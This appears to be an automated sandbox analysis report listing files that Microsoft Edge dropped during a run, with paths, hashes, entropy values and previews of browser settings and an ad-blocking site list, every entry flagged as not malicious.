SHA-256:	0D469A6BE18FCB23BDCED60BBC935F90E44C146E2408824D77CE458CBFB77547
SHA-512:	10DA5C16BF496F3C781B28636A97706A09C0F11DD92E84A47F0E617FF5270BF308BEF7799E7081A588EBFFBB3C4D8B328991D46F996B5DE2E6C2EFB3FF987E1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8ed512fb-eaf5-4757-bf33-0637420b2967.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46334
Entropy (8bit):	6.086930382617641
Encrypted:	false
SSDEEP:	768:jMkbJrT8IeQc5dKgIzi1zNtglF29fnXA9zY65Dk+bCiogJDSgzMMd6qD47u30T:jMk1rT8H1Klr2YY65bFogtSmd6qE7F
MD5:	BCA31EB28FE270299C0C25830BCFBC1B
SHA1:	32640D5CDFD34ABB687FA8B30A8187596C1C7C44
SHA-256:	6D8C910272AEDB379F964FD22875288DD8AB39A6DF52A0EF82B35E499995D2B8
SHA-512:	978B79B4706AA8D155159D81BFBD7C1264C429304E76061E6BE21386B30EBFE1234D8FC0061CF1F6A1F24F040D76AB8EA3DA3320CE5388253E704F97D7C8C95C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376800529554735","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2307ea2f-b7db-451b-8be9-822a69ad69e9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9025f459-6f2b-4c62-a03e-80a0bea7f0d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.095093962486135
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWkoi1zNtglF29fnXA9zKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOGr2YKtSmd6qE7lFoC
MD5:	0015CE28AE54013882EF164E6EAAA6A1
SHA1:	2EED40FAD43BD1830EBE332B43D7359586A0863F
SHA-256:	4746FCA01F09DDDDCB1E70B746B5703C81F6DED8CE8F563784CB60E07DFBF8E0
SHA-512:	8905BA237F839249195BBF86DDBE24AE9CE8D3133F58E8033BEA8114604B55ED43F3CA6065D7FF67202158E6244881A9843E95E4F0FCE9402AEFDF14EB4F6172
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\48fa7ca3-935c-400e-9bd3-bcb7f0ed04f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67413610-2284.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4540352355989854
Encrypted:	false
SSDEEP:	3072:o94LCgBJeNt0W1/S/Y/b85t+zB+JgilYZLZeiXbDrq7Z0ag1HFL4p:lbBmoA/bAt+zYgQqZXbDrq7Z0aaHB4p
MD5:	E5089118AA3BA6F118460281A591D043
SHA1:	5F7E81645BC49649679A643333C7DC15F98828B1
SHA-256:	067C3A87FD7DA2C8980DDE4AD61DB59960F2AC7BD36B4CBB5FB5B8B2EC2CAB8B
SHA-512:	089CD90E89F6A720570632F8ABFC8B4B6D34882E4DE08B80E82FD9E2B269B59374D2A341313BBC8D74DA6A2742860C01F08EC0A59E8BC009D1EAD83810EBB2AC
Malicious:	false
Preview:	...@..@...@.....C.].....@...............X...x...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".xxwgim20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1496a46c-e3ac-4fe7-9562-5e1b7e510724.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17501), with no line terminators
Category:	dropped
Size (bytes):	17503
Entropy (8bit):	5.482612140445501
Encrypted:	false
SSDEEP:	384:st9PGQSu42s5MrhCD5kXS97aKTS9bGgQwx3c:sjOXuSMrhCCSybGvyc
MD5:	143A232618E7A6C744A9059D6F1F992E
SHA1:	A5DB591FC87E5F10B0562A0DFC77B1A8AB3CAD85
SHA-256:	EC911FA1B282A1A3F1F8B1CDC47800B320EDA738902C7776C1FB0DA32D1234DB
SHA-512:	9C317F53D8FDE87D75DE48E8665C0542CDB7E3898B2899F665D7213110DA540E3AA7658283BC55BC80088AD8F669D3D00440119A9F3E07A6913D17FD051E068E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\32224e63-fedc-472f-8d4f-1a56f7a60ce4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557763485383365
Encrypted:	false
SSDEEP:	768:OakChIW8f7pLGLPYVW5wgqf45M8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPLPInku+x:OlqIbZcPYVWagqfQMu1jaW2LbZUtD
MD5:	643555871C9E3CFF80657A2E4B8D703E
SHA1:	0B37996F9A0556F2397E328742483EB35EE60B1A
SHA-256:	8FC90B289B35E6371AB5FEF024669932FFB624F9688DC2B8B35DF62D53E00418
SHA-512:	3DFA38C4B2D2A4930868CB235AA78488DBCCFC27C82A4857DE0D440235EEEF233604B120D2422237A33EDA96D44A14997C9C73C1C62847AFB1A41B11CD058F51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376800528836612","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376800528836612","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4394fcbc-f7df-4259-bb92-25e2ee60cd21.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4cb4aa80-6612-4a4a-a375-b8d628146909.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f323172-86f6-4d3a-bfb5-8464c6eb7d19.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.109900741902411
Encrypted:	false
SSDEEP:	192:st9kdp2s5MrhaFvrE9kvX4Eh8nbV+F65QALUMPYYJ:st9Q2s5MrhCDVobGgQ5c
MD5:	727314CB6CC1586CC800F257C72FD3B0
SHA1:	815DF147C8BAE91DAE994E84B443677B1E62B820
SHA-256:	B59F7A5CA637B2B3AFA2D31768ACC7C7DE5F2EB99D62C3F9B4C720A9F69011DA
SHA-512:	700AB4EF4FA8F66F2EC24EEFB6544693D4ACBF6522345ABC9D138A1461B70E1CAF81CBF383CF3A37E08268D14B5C601D461304388AFBB29ACE74B4E4B5D9C910
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\61cdf74d-1fbb-47ed-b0f0-f8ba792213e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16743), with no line terminators
Category:	dropped
Size (bytes):	16745
Entropy (8bit):	5.444686729212901
Encrypted:	false
SSDEEP:	192:st9J99QTryDiuabatSuyp2s5MrhaFvrE9kvXQoNt7b3K0tTP62h8nbV+F65QwvLn:st9PGQSu42s5MrhCDV7aKTS9bGgQw4c
MD5:	6963033BC2252CCB97CD9719916B2C91
SHA1:	A4815382BF0CA4C8ED680C916776F84868E08ADF
SHA-256:	4F2D04228B14FB6A7E81A017FA0847D2AD700A769710AAC45E5425C61A6840AE
SHA-512:	BD60B4CAC6A6CC71D74B2BC3AA865145EEADCA4A9FFBC747A04C46DCB8C38894D05CFE10E0859B6B3986559EF9A0C7424E7C7C59DBBCADF1EE36204413EA5618
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7d1dd687-bc00-482f-8450-278c607443d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17501), with no line terminators
Category:	dropped
Size (bytes):	17503
Entropy (8bit):	5.482626767652474
Encrypted:	false
SSDEEP:	384:st9PGQSu42s5MrhCD5kXS97aKTS9bGgQw23c:sjOXuSMrhCCSybGvfc
MD5:	7103FF64D24EC8A3C9EA552B395B8827
SHA1:	642D545F3D6DBB1EA3730072E14E48AF349FD4DD
SHA-256:	FA33739A89E42C3B2A1FA39CF9CB72F612A217EC51B89E9ABDC62AE3F0691453
SHA-512:	D998FC7D2986AF1854F785E3859610E2F7D3416DF1F0BC90D2BE7EBCE6DFCCBE55AC5861AFF21548C2EE71FAD9174ACA1697831A69928586F3F440993E39A845
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376800529487444","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\94a68fc7-73b2-4c7f-ab80-60ac876fa570.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
